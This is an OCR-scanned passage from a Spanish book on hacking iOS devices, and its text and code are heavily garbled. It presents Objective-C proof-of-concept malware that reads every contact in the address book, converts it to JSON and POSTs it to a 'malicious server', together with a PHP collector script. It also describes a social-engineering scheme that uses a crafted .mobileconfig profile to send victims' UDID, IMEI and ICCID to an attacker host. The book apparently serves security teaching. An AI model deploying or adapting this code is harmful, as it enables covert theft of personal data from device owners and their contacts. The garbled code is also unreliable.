€570 no es un libro de desarrollo, por lo que s¢ centra simplemente en como robar los datos como
ueba de concepto ¥ hada mas. Aqut solosevaa B‘(pll(‘.'{l’ el codlgo llllp]LlnL‘Hldd(} mas que todo el

© sficial de Apple, estd dlspomble toda la documentacion sobre el
ejemplos para su mejor comprension. )

El primer paso, como sicmpre a la hora de trabajar con un nuevo framework, es importarlo, por el

metodo tradicional. Se selecciona el proyecta ¢n Xeode, se selecciona el target v luego se hace clic
&n el ment Build Phases > Link Binary With Libraries, se le da a el boton +, y se busca cl framework
seado. Ademas, hay gue importar el framework en la clase que sc desee utilizar, utilizando el
ico dimport <Addresslioak/AddressBook.h>

2l segundo paso, es comenzar a escribir ¢l cadigo de nuestra aplicacion i0S, que acceda a la
zenda de contactos, y para cllo, lo primero serd comprobar si el usuario ha concedido permiso a la
licacion para acceder a la agenda. Esto tan solo ocurre desde i0S 6, que ha sido cuando Apple ha
sumentado la granularidad, en el control que los usuarios tienen sobre los permisos que conceden
as aplicaciones que instalan, de manera, que se solicita permiso al usuario, cuando la gpp intenta
scceder a los contactos.

Est0 se aprecia en la siguiente captura:
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“ig4_malware" desea acceder

Imagzen 07.11: Solicitud de autorizacion de una app FOY para acceder o los contaclos.

Lsto no estd nada mal para la tranquilidad de los usuarios, y més teniendo en cuenta los casos de
robos de datos que se han presentado anteriormente. Pero a la hora de hackear o robar datos, la cosa
se complica, ya que si ¢l codigo del malware o trovano intenta acceder a la agenda de contactos.
se solicitara al usuario autorizacién para dicho acceso, aungue solamente en caso de que tenga
instalado 105 6.

Y ahora el momento de ver el cadigo que chequea si el usuario ha concedido permiso a la aplicacién
para acceder a la agenda de contactos:

~ {void) scamndB {

// Reguest suthorizaticn to Address Book
//ABACdressBookRef addressBook = ABAddressBookCreatel): ¢/ Deprecated!!!
ABAddressEopkRef acdressBookRef = ABAddressBookCresleWitbOpticns{NULL, NULL); ¢/ New sintax in i(S6.

if (AShdd 'essBookEetMt horizationStetus[) == kKABAuthorizationStatusMotOetermined) {
ABLdd ressBr thocessWithConpletion{addressBueokPef, “{bool granted, CFErrorRef errcrl {
J! First '!_'IE access has been granted.
NSLog(@"First time access has been gramted");

[self resdaddressBook:addreszBookiat];
1

]

else if (ABAddressBookGetAutharizationStatus() == kARAuthorizationStatusduthorized) {
S/ The user hss previously giwven access.
NSLog{@"Status Authorized!!]™);
[self reachddressBook:addre ssBookRef]:

]

else if (ABAdcressBookGetAutharizationStatus(] == kaBAuthnrizationStatushenied) {
2w j o
NSLog{@*Status Denied!?i");

}

else if [ABAddressBookGetAutharizationStatus() == kABAuthorizaticonStatusRestricted) 4
F o
NSLag{@"Status Restricted!!!"); |

}
else {

£# The user has pr-n.'lous'ty denied access

£¢ Send an alest balling user Lo change privacy sstting 1in settings app

NSLegiE"Access to RddressRank has heem denied Ter this aop. Go to General Sellings to change privacy settings!!i“)g
}

Imagen 07.12; Codigo para cheguear si el usuario ha concedido permiso a la app.
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n i0S 6 ha habido algin cambio y sc ha quedado obsoleto algan método, pero el funcionamiento
igue siendo practicamente igual. Sin entrar mucho en detalles, el codigo estd cribando todos los
sibles estados de permisos en que se encuentra la aplicacion, y en caso de que se haya autorizado,
tonces se hace una llamada a otro método llamado readAddressBook, que es el que realmente lee
los datos de los contactos. A este método se le pasa la referencia a la agenda de contactos, creada en
primera linea de codigo de este método. A continuacidn se presenta el cédigo de dicho método:

- (void) readAddressBook: (ABAddressBookRef)addressBook {

N5Log (@™ - hos 4 e e . ko e X
NSLog (@"Reading Address Book...");

NSLog(@"\n");

/7 Initializations...

NSUInteger i;

NSUInteger j;

NSULnteger k;

N5SMutableDictionary #addressBookDict = [[NSMutableDictionary allec] initl;

N5MutableArray +addressBookArray;

/7 Starting to extract data from ab.
NSArray #people = (NSArray #) ABAddressBookCopyArrayOfAllPeopleladdressBook);

%f { people—nil )
NSLog{E"There's no contacts in address bock to scanili®);
CFRelease(addressBook);
return;

for { i=0; i<[pecple countl; i++ )
addressBookArray - [INSMutableArray alloclinit];
ASRecordRef person - (ABRecordRef) [peopie objectAtIndex:il;

NSLog{@"———PHONE ENTRY: “);

// First Nams,
NSEtring =firstname = (NSString %) ABRecordCopyValuelperson, kABPersonFirstNameProperty);
NSLog (@"First name: %@*, firstname);
if (firstname != nil) {
[addressBeokArray addObject:firstnamel;

}
[firstname release];

// Last Nanme.
NSString «lastname = (NSString =) ABRecordCopyValue(person, kABPersonLastMameProperty):
NSLog(@"Last name: %g", lastname);
if (lastname != nil) {
[addressBookArray addObject: lastname] ; —

[lastname releasel;

// Emails.
NS5tring semails = (NSString *) ABRecordCopyValue[persaon, kaBPersenEnailProperty);
CFIndex emailsCount = AEMultiValueGetCount{ emails );

for { j=8; j<emailsCount; j++ ) {
CFStringRef emailValue = ABMultiValueCopyValueAtIndex( emails, j);
NSLog(@"Email: 8", emailValue);
if (emailValue = nil) {
laddressBockArray addCbject:{NSString =)}emailValue]:

}
CFRelease(emailvalue);

}
Imagen 07.13: Primera parte del cidigo del métndo readdddovsBook, que lee la agenda de contactos.
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Jf Phone Mumbers.
ABMutableMultiValueRef phoneNumbers = ABRecordCopyValue(pzrson, kABPersonPhoneProperty);
LFindex phoneNumberCount = ABMultiValueGetCount| phoneNumbers };

for { k=8; k<phoneNumberCount; k++ )
1
CFStringRe? phoneNumberLabel = ABMultiValueCopylsbelAtIndex( phoneNumbers, k };
CFStringRef phonsNumberValue = ABMultiValueCopyValueAtIndex({ phoneNumbers, k );
CF5tringhe? phonshumberlocalizediabel = ASAddressBonkCopylocalizedlabel( phoneNusberlabel );
to "mobile"”

/7 Find the numbers of one person.
MSString #completePhone = [[{NSStrings)phoneNumbarincalizedlabel stringByAppendingString:@™-="]
stringByAppendingString: (NSStrings) phonelunberValuel ;
HSLog(@"Complete phune: %@",cumpletePhone) ;
if (completefhene != nil) {
{addressDookArray addDbject:completePhonel;

I

CFRelease (phoneMumberl ocalizedlabel);
CFRelease (phoneNumberLabel) ;
CFRelease(phoneNumbervalue);

}
NSLog{@"\n");

J/f Add srray with addressbook data to the dictionar, with iterator as key.
[addressBookDict setObject:addressBookArray forXey: [NSS5tring stringWithFormat:@"%i",il1l;

/i Release array, in order tn clean For next iteratien.
addressBooxkArray = nil;
[addressBookArray raleasel;

[people releas=];
CFRelease{addressBook] ;

NSLog(g" - ax');
NSLag{E"\\n"); :

//MSLog (@ " Imprimiendo array address book: %@",addressBookArray);
MSLog{@"Imprimiendo dictionary address beok: %@",addressBoakDict);

7/ Parse dictionary to json data, in urder to prepare data to send it.
NSData =jsonata = [sell parssproissienaraoknbazasison:addressookDict]:

£/ Invoke method to send data to server.

Iself sendBata: isonbatal;

Imagen 07.14: Segunda parte del cédigo del mélodo readdddressBook, que lee L agendu de contacios.

El codigo comienza inicializando las variables requeridas, y creando una instancia en la que se
almacena una copia de toda la agenda de contactos, que posteriormente y con bucles for, se ird
recorriendo vy se iran volcando los datos deseados. En-este caso, para cada entrada en la agenda, se
han extraido el nombre, el apellido, todos los emeails asociados a una persona, y todos sus teléfonos.
Se podrian haber extraido més dates, pero como prucha de concepto se considera suficiente.

Durante la extraccion de los datos, se comprueba la existencia de cada campo, cs decir, que sea
distinto de #nil, y en ese caso, se almacena el dato en un diccionario, ya que Inego habra que pasar
los datos al farmato JSON, para su posterior envio al servidor maliciose, y es que este formato
proporciona tacilidad a la hora de manejar los datos, y rapidez a la hora de transmitirlos.

Durante el codigo, existen varias lineas que utilizan NSLog, para ir mostrando por consola los
resultados. Evidentemente estos Jogs son para mostrar los resultados de la POC, pero se podrian
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2013-81-11
2613-81-11
2013-81-11
2013-01-11
2813-81-11
2013=-01=-11
2813-81-11
2013-91-11
2013-81-11
2813-81-11
2613-81-11
2613-81-11
2813-81-11
2813-81-11
2613-81-11
2813-91-11
2013-81-11
2813-81-11
2013=-81-11
2813-81~11
2813-91-11
2613-81-11
2013-81-11
Z2813=-81-11
2813-61-11
2813-81-11
2e13-81~11
2813-51-11
2813-81-11
2813-081-11
2813-81-11
2013-81-11
20813-681-11
2013-91-11
2813-81-11
2013-81-11
2013-81-11
20813-81-11

18:24:46.
16:24:46.
18:24:486
108:24:46.

18:24:46.

18:24:46,
18:24:465.
18:24:46.

18:24:46

s
b
&

RRRNRRRPERRRR PR RPRRRYP

EEEEEEEEEEEEEEEEEEEEEEEEERS

727 i64_malware|986:c07)
729 i64_malwara[096:c07]

L7308 i64_malware[996:c87]

738 i64 malware[996:c07]
732 iB4_malwars[996:c87]
733 iB4_malware[986:c@7]
734 164_malware[996:c87]
735 i64_malware[396:c07]

.736 iB4_malware[996:c@71
.765 i6d_malwars[996:c87]
.766 i64_malware[P86:cB7]
.768 i64 malware[996:cH7]
.768 iB4_malware[996:c87]
.770 i64_malware|996:c97)
L7708 i64_malwara[996:c07]
771 i64_melware[996:c87]
L7172 i64 _malware[996:c07]
.772 iB4_maluare[996:c87]
.773 iB4_malware[986:c07]
.773 i64_malware[996:c07]
.774 iB4_malware[996:c87]
774 iG4_malware[996:c87]
.775 i64_malwara[996:c87]
776 i64_malware[996:c@7]
.776 164 _malware[996:c87]
777 iB4_malware[996:
.777 ib4 malware[996:c87)
.778 i6d_malware[996:c07]
.778 ib4_malwarn[B96:cd7]
.779 i64 malware[986:c27]
.779 i6d_malware[996:c87]
.788 i64_malware[996:c@7]
.78l i64_malware[996:c87]
.7B1 i84_malwars[996:c87]
.782 i64_molware[986:ce7]
.782 i6d_malwara[306:c087]
.783 i64_malware[996:c87]
-783 164 malware[996:c87]

c@7]

Status Authorized|!!

Resding Address Book...

—PHONE ENTRY:

First name: Kate

Last name: Bell

Email: kate-bellgmac.com

Email: www.creative-consulting-inc.com
Completa phona: mobila-»{555) 564-8583
Complete phone: main->(415) 555-3895

=——-PHONE ENTRY:

First name: Daniel

Last mame: Higgins

Email: d-higginsg@mac.com

Complete phone: home=>555-478-7672
Complete phona: mobile->(4688) 439-5276
Complete phone: home fax--([48B) 555-3514

————PHONE ENTRY:

First name: John

Last name: Appleseed

Email: John-Applesesd@mac.com
Complete phone: mobile-»B88-555-5512
Complete phona: home->888-555-1212

——=——PHONE ENTRY:

First name: Anna

Last nama: Haro

Emnil: anna-harc@mac.com

Complete phone: home->555-522-8243

———PHONE ENTRY:

First neame: Hank

Last nama: Zakroff

Empil: hank-zakroff@mac.com
Complete phone: werk--{555) 766-4823

eliminar en un caso real. Los resultados por consola, muestran que los datos de la agenda se estin
extrayendo correctamente, tal y como se puede apreciar a continuacion:

20813-91-11 18:24:
2013-81-11 19:24:
2813-81-11
2913-B1-11 1B:24:
2813-81-11
2813-081-11 18:24:
2013~-81-11 18:24:
2p13-681-11 19:24:
2013-81-11 18:24:

784 iB4_malware[996:
784 i64_malware[S96:
785 i64_malwars[996:
.785 i64_malwarae[906:

c87] Complate phoma: other—>(787) 555-1854
ca7]

7] ———PHONE ENTRY:

c@7] First name: Dawvid

.786 164 malware[996:c@7] Last name: Taylor

7BE ié4_malware[996:c87] Complete phome: home-=555=-618-667%
787 i64_malware[996::087)
789 i64_malware[396:c07]
798 i64 malware[996:c87)

B RRaRRARER2RRRRAARRRARARRARARRRAS

linagen 07.15: Logs de la app, ¢n ¢l que se mucstra la extraccién de los datos de la agenda.

Decir que los datos mostrados en la caplura anterior, han sido extraidos de un iPhone Simufator, por
1o que no son reales, pero se ha hecho la prueba y funciona correctamente con un dispositivo real,
extrayendo todos los datos de los contactos, que por razones obvias no se presentan aqui.

final de este método, hay un par de lineas de codigo, que son las que convierten los datos en JSON
¥ los envian al servidor, invocando a un par de métodos propios, que implementan dichas tareas y
gue se presentan a continuacion en mas detalle.

Envio al server

a enviar los datos al servidor malicioso y que este almacene, ya sea en fichero o en base de datos,
indos los datos extraidos de la agenda de contactos, asociados a los identificadores tinicos, para



140 Hacking de dispositivos i0S: iPhone & iPad

saber en todo momento de qué dispositivo se ha robado cada agenda de contactos, lo primero serd
converlir los datos a JSON.

Para ello se hara uso de alguna de las elases yue proporciona el SDK de /OS para trabajar con dicho
formato, como es MSJSONSerialization, como se aprecia en la siguiente figura:

# pragma rark - Json methods
— (MSData * parsearDiccionarisEnDatos)SON: (NSDirtionary *ldiccionarinlSON
{

// Sg crea una vble para controlar los posibles errores.
__Bautoreleasing NSErrors error = nil;

MSData =jsonData = [NSJISONSerialization dataWithJSONObject:diccionariolSON options:kMilOptions error:ferror];
1if (error 1= nil] 4

error = nil;

return nil;

errer — nil:
return jsonData;

Troagen 07.16: Codigo del método que convierte los datos de diccionario a ISON.

Este método simplemente recoge por parametro un diccionario con datos, y lo devuelve serializado
en formato JSON, ademds almacenado en una estructura de tipo NSData, perfecto para transmitirlo
por la red. Los datos que almacena el diccionario son arrays con el conjunto de datos de cada
contacto. a los que se accede por llave, que en este caso es simplemente un niimero gue aclia a
modo de indice.

A continuacién se muestra el aspecto que tiene el diccionario de datos, antes de transformarlo a
JSON:

2913~-81-11 12:38:18.548 i64_malware[2472:c07] Imprimiendo dictionary address book: {
8=
Kata,
Bell,
"kate—-bell@mac.com™,
“woi . creative-consulting-inc. com”,
"“mobile—=(555) 564-8583",
"main-={415) 355-3695"

(
Daniel,|
Higgins,
"g-higgins@mac.com",
"home-=555-47B-T672",
"mobile--(488) 438-5270",
"hame fex->{488) 555-3514"

[N
i

)i

2= {
John,
Appleseed,
"John—Applasesd@mac . com”,
"“mobile-=B88-555-5512",
"home-=88B-555-1212"

b;

Imapen (7.17: Aspectn dz los datos antes de convertirlos a formato JSON {Parte 1).
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3= [
Anna,
Haro,
“anna—-haro@mac.cam”,
“home->555=-522-243"

1

4= {

Hank,

Zakroff,
"hank-zakrofig@mac.com",

"work-={555) 766-4823",
“other->(787) 555-1B54"

)i
B = {
Dawid,
Taylor,
"home==555=618=-0679"
}i

Imagen 07.17: Aspecto de los datos antes de convertirlos a formate JSON (Partc 2).

Cuanda sc ha cjecutado ¢l métada que serializa vy transforma los datos a JSON, estos se almacenan
en la estructura NSData, los datos adquieren el aspecto que se muestra en la siguiente caplura:

613-81-11 13:51:43,979 iﬁﬁ_ﬂilﬁam[mﬁ:caﬂ Probando valor de jsonData: <7b223322 3a5b2241 Gete5li22
224861 720T222c 22616ebe 612dE361 7267406d G1632e6] 676d222c 226BEFEc 652d3a35 35352435 32322438 32343322
5d2c2231 Z23a5b22 44610e68 G5Gc222c 224868967 67696e73 22Zc2264 2d6B6067 67606w73 486d6163 2=636F6d 222c2268
6f6d652d 38353535 2d343738 2d373637 32222c22 GIETE26Y 6c652d3e ZB34363F 29203433 382d3532 3730222c 228BEFEd
65206661 782d3e23 34383829 20353535 2d333531 34225d2c 2234223a 5b224E61 Gebb222c 225a616b 726F6666 222c2268
Elbefib2d 7a6lfh72 GT6RGE48 Gd61632e 636F6d22 2¢22776f 726b2d3e 28353535 29203736 362d3438 3233222¢ 22617463
63722d3e 28373037 29283535 352d3138 35342254 2¢223222 3aSb224a 67686622 2c224178 TOGCG573 65656422 Zc224abf
686uld4l 70706c63 TIB58554 ABEJE163 2e636F6d 222c226d 6T62606c 652d3e3s 38382435 35352d35 35313222 2c22G6861
bdiS2d3e 3836382d 3535352d 31323132 225d2c22 30223a5b 224b6174 65222c22 42656c6c 222¢226b 6174652¢ 62656c6C
6d6163 2eb36TEd 222c2277 77772e63 72658174 6076852d €36f8eT3 756cT459 GeE72d60 Ge632e63 6F6d222¢ 226d6162
3p283535 35292035 36342d38 35363322 2c226d61 606e2d3ie 28343135 20233535 15243336 052254 20223522
61766964 222c2254 61756c6f 72222¢22 GBG6T6d65 2d3e3535 352d3631 302d36a6 3738225d Td>

Imagen 07.18: Datos preparados para enviar al servidor maliciose.

Una vez que se tienen los datos ¢n ¢l formato correclo para su envio, se invoca a otro método al
qu sc le pasan dichos datos por pardmetro, y es este método el que establece una conexion con
el servidor y envia los datos. En la imagen 06.19 de la pagina siguiente se muestra el codigo del
método de envio, llamado sendData:

Fste método crea una conexion con el servidor remoto malicioso, que en este caso, v como prucha
de concepto. es la propia maquina en la gue se estd desarrollando la POC. que es un MacBook Pro,
2n el que estd instalado ¢l entorno de desarrollo i0S (Xcode), v un servidor MAMP Pro para alojar
la aplicacion web. Por tanto la conexion apunta a locathost, pero podria apuntar a la URL deseada.

Para crear la conexion existen multitud de opciones diferentes, frameworks, APIs, clases de Apple
o de tereeros, opensource, de pago, etcétera. En este caso se ha utilizado la clasica clase de Apple
NSURLCaonnection, a la que basta con pasarle un reguest previamente configurado. precisamente
lo que se hace es configurar los diferentes parametros de dicho request, como puede ser el tipo de
pelicidn o envio (en este caso es por POST), concatenar los datos con el pardmetro, indicar el tamafio
de los datos a enviar. el tipo de codificacién (UTF-8), etcétera.
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— (void) sendData:{NSData =)dataToSend {

// Create server URL.
NSURL =myURL = [NSURL URLWithString:@"http://127.€.0.1:8888/addressbook/index. php?™l;
I/ Create request.
MNSHMutablelURiRequest srequest = [NSMutableURLRequest requestWithURL:m
cachePolicy:NSURLRequestliseP rotocolCachePalicy
timeoutinterval:6e.¢);

// Configure reguest.
[request setHTTPMethod:@"POST"];

MEString. sparamString = @'paran=";

NSstring. » postString = [paramString stringByAppendingString:jsonStringl;

[request setValue: INSString stringWithFormat:@"%d™, [postString lengthll forHTTPHeaderField:@"Content-length™];
[request setHITPBody: [postString datallsingEncoding:NSUTFBStringEncodingl];

f/ Creats connaction with configured reguest.

NSURLConnection sconnection= [[NSURIConnection alloc] initWithRequest: request delegate:self];

/7 Start conncction.
[connection startl;

// Check if connection has beea crested.
if (connaction) {
NSLog(@"Connection created successfully!!!™);

Imagen 07.19: Aspecto del método de envio de datos al scrver malicioso.

Una vez que la peticion estd configurada, basta con arrancar la conexion, paséndole dicho request,
y a [uncionar. Evidentemente se pueden implementar muchisimas cosas mas, como realizar
comprobacion del correcto establecimiento de la conexion, o incluso recibir comunicaciones del
servidor, ya que en este caso la comunicacién es unidireccional. Pero se podria implementar algo
mucho més complejo, que permitiese lener cierlo control sobre el dispositivo a modo troyano. En
este caso y teniendo en cuenta que es una prueba de concepto, se ha implementado de la manera
més sencilla posible, simplemente para demostrar qué se puede hacer para hackear un dispositivo y
robar algunos datos.

Server Side

Por ultimo, falta por ver como es el codigo necesario en el servidor, para que se recojan los
datos enviados por el dispositivo al que se le ha instalado el malware. En este caso, se ha elegido
como lenguaje de programacion PHP, ya que como servidor sc esta utilizando MAMP Pro con su
correspondiente PHPMyAdmin, que es opensource, ¢ ideal para hacer pruebas.

El lado del servidor se ha implementado, al igual que la app cliente, de la manera mas sencilla
posible, y consiste simplemente en un fichero PHP que recoge lo que el dispositivo infectado envia,
en cuanto el malware se ejecute, y lo almacena en un fichero de texto. A continuacion se muestra
el codigo del fichero que recoge los datos, llamado index.php, y que como PoC, proof of concepi,
simplemente recoge y almacena los datos en un fichero:
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<7ohp
echo "Esta web es para recibir agendae de contactos de ios,..";
/¢ PasT|
$datapost = $_POST['paran’];
L Write file
file_put_contents(“dotapast,txt”, Sdotopost);

beline del servidor malicinsa que recope 105 datos enviados por el dispasitive

El aspecto del fichero generado es el siguiente:

HAR3A": [\"Anna\" , \"Haro\" ,\"anna-harogmac.com\" ,\ " home->555-522-8243\" ],
VIV [\"Danie 1\, \"Higgins\" ,\"d-higgins@mac.com\" ,\" home—>555-47B-7R72\",
\'mobile—=({408) 433-5270\",\"home fax—=(488) 555-3514\"],\"4\": [\"Hank\",
\MZakroff\",\"hank-zakroff@mac. com\", \"work-=(555) 766-4823\" ,\"other-=(787)
555-1B540"1,3"2\": \"Jahn\" ,\"Applessed\" ,\"Ichn-Appleseed@mac. com\”,
Vomobile—=BBE-555-5512\",\"home—>BRAE-S55-12120"] .\ "B\ " : [\"Kate\ ", \"Rell\",
\kate-bell@mac.com\" , \"www.creative—consulting—inc.com\",\"mobile—>(555)
564-B5B3\" ,\"main—=>{415) 555-3695\"]1,%"5\": [\"David\*,\MTaylor\",\"home—
>555-618-6679\"]} s

Imagen 07.21: Aspecto de los datos recibides en el servidor malicioso.

Evidentemente, en caso de querer implementar el malware de manera real, habria que implementar un
sistema un poco mds complejo que, recogiese datos enviados por diferentes dispositivos infectados,
y los almacenase en lugar de en un fichero. en una base de datos. Ademas habria que parsear los
datos JSON recibidos, y clasificarlos para organizarlos en las tablas de la base de datos, y poder
realizar consultas de manera comoda.

Distribucion del malware

Creacion y distribucién del Pertil de Configuracién que roba UDID

Para la distribucidn del malware habra que conocer el UDID de la victima, para lo cual quizds sca
necesario un poco de ingenieria social. Ahora se van a indicar varios lugares en donde se puede
consultar dicha informacion, siempre y cuando se tenga acceso. El primer lugar en donde se puede
mirar el UDID es en iTunes, una vez que estd conectado ¢l dispositivo. Basta con hacer ¢lic sobre ¢l
nimero de serie y aparece el UNDID, tal y como se aprecia en la siguiente captura:

iPhone 4
iFhaone de 164 G851
[16GB| ==t g% Hay ura nueva vasion del scrivare del IFfione dispanible {version
B.0.1). Para ectuslizar &l (Phone con el ditimo software, haga clic en
Capacidad: 13,56 GB Artuaiie.

IMEI: 012655003731418

Iidentificador (UDID}): dB8af527Thai477Taad54e26 % . 1 [ z
1455300153820904ad8 Actualizar J L Restaurar iPhone... J

Tmagen 07.22: UDID en {Tuies.
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Ademas iTunes hace hackup por defecto de los dispositivos que se conectan, de mancra que crea una
carpeta por cada dispositivo, en donde aloja dicha copia de seguridad. La carpeta tiene de nombre
¢l UDID de cada dispositivo, por lo que a continuacian se muestran rutas del bacfup de iTunes en
varios sistemas operalivos:

- [Windows Vista/7]: C-\Users\(usuario)\ AppData\Roaming Apple Computer MobileSync|

Backup\

- [Windows XPJ: C:\Documents and Settings\(username)\Application Data'Apple

Computer\MobileSync\Backup'

- [Mac OS X]: ~/Library/Application Support/MobileSync/Backup/

Por otra parte, los desarrolladores suelen gestionar los dispositivos en los que desarrollan, en
Organizer, una aplicacion dentro del entorno de desarrollo Xcode. Esta opeion es interesante ya
que si ¢l desarrollador tiene los certificados de desarrollo incluidos en Xeode, cuando se conecta
un nuevo dispositivo, aparece un boton de Use for Development, con el que con un solo clic ¢l
dispositivo en cuestion se afladira a los Provisianing Profiles de desarrollo que haya en dicho Xcode.
De csla manera si se tiene el dispositivo sin el passcode, en unos scgundos se podria capturar el
UDID con solo parcarlo con Organizer.

iPhone de i64
Capacity 14,55 GE
model iPhong 8
Sertad Number 7L N
cein 265
et asats2 [

Solware Version 5.1.1 (35208)

Imagen 07.23: Botén Use for Development en Organizer de Xeode.
L 2 &

Ademads de ilunes y de Xcode, se puede consullar el UDID, asi como otra informacion acerca de
los dispositivos en la Utilidad de Configuracién de iPhone (iPhone Configuration Utility 0 iPCU),
que es un soflwarc proporcionado por Apple de manera gratuita para gestionar pequeiias flolas de
dispositivos (hasta 30 iDevices) en colegios, bibliotecas o pequeiias empresas. A continuacion se
mucstra una captura de dicha aplicacion con los dispositivos asociados que tiene;

Uitilidad Configiiracién [hone

igf Permiza g conninmcies

Rasumen  Porfiles de configuracitn Aplicariones

Farfies ce

e _ Fec d2 maima
i34 Dosed Beta 14 de ez de 2013

{105 Teamn Provizloning Profilel * 21 du maya ce 2018

1105 Team Provisiani g Pafile: = 45 da mzya ca 2013
ST AR T — e
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En la parte de abajo de la aplicacion, se puede apreciar como aparecen varias peslafias. entre las
que destaca la de perfiles de datos, que como se ha indicado anteriormente son los que permiten
mstalar apps en los dispositivos, y en esle caso se listan todos los que hay instalados en el dispositivo
conectado,

Pero lodas estas formas de averiguarlo, estan muy bien cuando sc licne cerea a la victima, y se le
puede guitar el dispositivo durante algunos minutos, pero en caso de que no haya aceeso fisico al
dispositivo, la cosa se complica, asi que ;qué opciones quedan?

Todavia se pucde hacer algo mds para obtener el UDID sin acceso fisico, y consiste en utilizar
un Perfil de Configuracion (Configuration Profile), dc 1a misma manera que hace la web htip://
whatismyudid.com/ en la que el usuario accede a dicha web con un dispositivo (25, descarga e
instala un perfil de configuracion especifico, que permite que ¢l dispositivo envie su UDID a un
servidor. y se le muestra al usuario en la propia pantalla del dispositive /OS, como se aprecia en la
captura:

Profile Service

1. Tap Stwrt fo begtm prosess B i cver el | - ¥
2 R imol v aahinke WM 1 19152662
I & el 4 nd e Sagiy o
5. Fial's Bf | TaTen] dovaos LA
U ST
4 i 75, 0N
T

Maore Dutalis

s

Iagen 07 25: Funcionamiento de la web whatsmyudid.con.

Pero, (Como utiliza esta web los perfiles de confliguracion? T.a idea es utilizar todo el sistema de
perfiles que proporciona Apple para implementar la gestién y despliegue a nivel corporative dc
dispositivos i(J5.

A continuacién se muestra dicha tabla titulada Command Listing:
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+ Device Lock
Cantrol Commands | - Erase Device
- Clear Passcoda

- Security Information

- Installed Application List
«» Device Information
Device Queries - Certificate List

- Profile List

- Pravisioning Profile List
+ Restrictions List

- Install Profile

Device » Remove Profile
Configuration - Install Provisioning Profile
= Remove Provisioning Profile

Device to Server = Authenlicate
Commands - Tokan Update

Imagen 07.26: Tabla Command Listing con las opeiones del protocolo MDM.

Una ver gue s han adguirido algunas nociones basicas sobre el tema es muy ficil crear un perfil
de configuracién que solicite cierta informacioén acerca de un disposirivo S, como pueden ser el
identificador unico de dispositivo 0 UDID, las direcciones MAC de Wi-£i o de Bluetooih, version
del software, nimero de teléfono, modelo y ndmero, nimero de serie, etcétera.

Para ver en detalle qué informacion se puede solicitar a un iDevice con un pertil, se puede consultar
una labla en la que aparccen Lodas las posibles peticiones o queries que se pueden realizar sobre el
dispositivo. A continuacion se muestra dicha tabla:

HAequestType Devicelnformation

Queries (array of strings):
"AvailableDeaviceCapacity”, "BlustoothMAC",
"BuildVersion", "CarrierSettingsVersion"”,
"CurrentCarrierNetwork”, "CurrentMCC",
"CurrentMNC", "DataRoamingEnabled",
"DeviceCapacity”, "DeviceName”, "ICCID",
"IMEI", "IsRoaming”, "Model", "ModelName",
"ModemFirmware\Version", "0SVersion",
"PhoneNumbar”, "Product®, "ProductNams®,
*SIMCarrierNeiwork”, "SIMMCG", "SIMMNC",
"SerialNumber”, "UDID", "WiFiMAC", "UDID"

Imagen 07.27: Tah'a con tods la informacian que se puede solicitar a in dispositive (S con un perfil de configuracion.

Una vez sentadas las bases, se da paso a mostrar el perfil de configuracion que se ha creado para que
cuando sea instalado en un dispositive iOS, este envie el identificador tnico de dispositivo o UDID
al servidor que aloja dicho perfil. E1 UDID como s¢ ha vislo anleriormente es necesario, para crear
un perfil de datos que permita la instalacién del malware de 1a prueba de concepta, en ¢l dispositivo
victima.
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A continuacion se presenta el perfil de configuracion, que es un fichero con extension .mobileconfig
creado:

<7xml version="1.9" encuding="UTF-8"7>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.8//EN" "http://wei.apple. com/OTDs/PropertyList-1.0.dtd">
<plist version="1.8">
edicts
<key=PayloadContent</key>
«dict>
=key>URL=/keys>
<string=http://192.168.1.6:BBB8/retrieve. phpe/strings
<key=DeviceAttributes</key>
<array=
<string>lDID</string>
=string=IMEI</string=>
estring>TCCID</string>
<string>VERSION</string>
<string=PRODUCT=</string>
=farray=>
</dict>
<key=PayloadOrganization</key>
<string>wwv. informatica6s. com=/string=
<key=FayloadDisplayNamee/koys
=string>i64 Profile Service</string=
<key>FayloadVersions/key>
<integersi</integers
<key=PayloadUUID</key=
«<string=ignored</string=
=<key=Payloadldentifiasr</key>
estringshttp://192.168.1,6: 8888/ retrieve.php</strings
<key>PayloadDescriptinne/koys -
<string>This temporary profile will be used to find and display your current device's UBID.</string>
<key>PayloadType</key>
«<string=Frofile Service</string>
=/dict=
=/plist>

Imagen 07.28: Perfil de configuracion (profile. mohileconfig) creado para solicitar ¢l UDID a un dispositivo i0S.

Este perfil ha sido creado manualmente, es decir, con cualquier editor de texto, como por ejemplo
UltraEdit, NotePud, y un largo etcétera. En este perfil se solicita a un dispositivo iOS el UDID, el
IMEI, ¢l ICCID, la VERSION y el PRODUCT (un iPhone 3GS devuelve iPhone 2,1), aunque en
realidad Gnicamente es necesario conocer el UDID, se solicita mas informacién ya que es posible
hacerlo y no supone ningin trabajo adicional, y también a modo de gjemplo de posibles datos a
solicitar a un dispositivo,

Una vez que se ha creado el perfil que solicita los datos deseados, habria que subirlo a alguna web
para que las victimas tuviescn ficil acceso, utilizando alguna téenica de ingenieria social, tal y como
sc ha comentado anteriormente, de mancra que cuando la victima instalase dicho perfil malicioso
en su dispositivo /08, los datos solicitados por dicho perfil se enviasen al servidor en donde estd
alojado el perfil malicioso, y se persistiesen en €l de alguna manera, Para conseguir esta tarca, hay
que montar algunos ficheros en ¢l servidor malicioso.

En la imagen que se muestra a continuacion es posible apreciar una captura, en la que aparece la
arquitectura o los diferentes ficheros que conforman la aplicacién web o servidor, que mantendran
piblico el perfil malicioso, y recogerén los datos de las victimas que lo instalen. Estén alojados en
la carpeta Atdocs:
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.DS_Store & profile.mobileconfig '® index.php
.05 _Store
data.xt
164 _logo.jog
Incex.php
retrieve.php

*r vyl Y ¥y ¥ ¥
([ || 2

¥

v

- D5 _Store
fean
LEAME.rof
HFSMICH.rtf
= LISEZ-MOL.rtf
README.rtf
npa Tl

B mamp contralwdar

Tmagen 07.29: Aspeeto de la aplicacion web que recoge los datos de un dispositivo i0S.

LI primer archivo a comentar cs ¢l index.php, que es el encargado de presentar el perfil al usuario que
acceda a la web, que se puede programar scgiin los conocimientos que se posean de PHP, v acorde
4 la téenica de ingenieria social utilizada para engafiar a la victima. En csic caso y como POC se
presenta algo sencillo, se muestra a continuacion:

Informatica 64

www.informaticabd.com

In arder io configure profile service successfully, you must accept the following profile installation:
Instadl {05 Frofle

H you can see s cace, your are in 2 resiricted area, or accesing by VPN connection, and yeur host was setup suncosshulty, Now, in order o install the profile, dick on the
hyperlink and accept installation of ihe corporative (0S8 pmﬁls‘

Server name! 1nsalhoan
Document-Roek f3pplications/MANP/atdoca

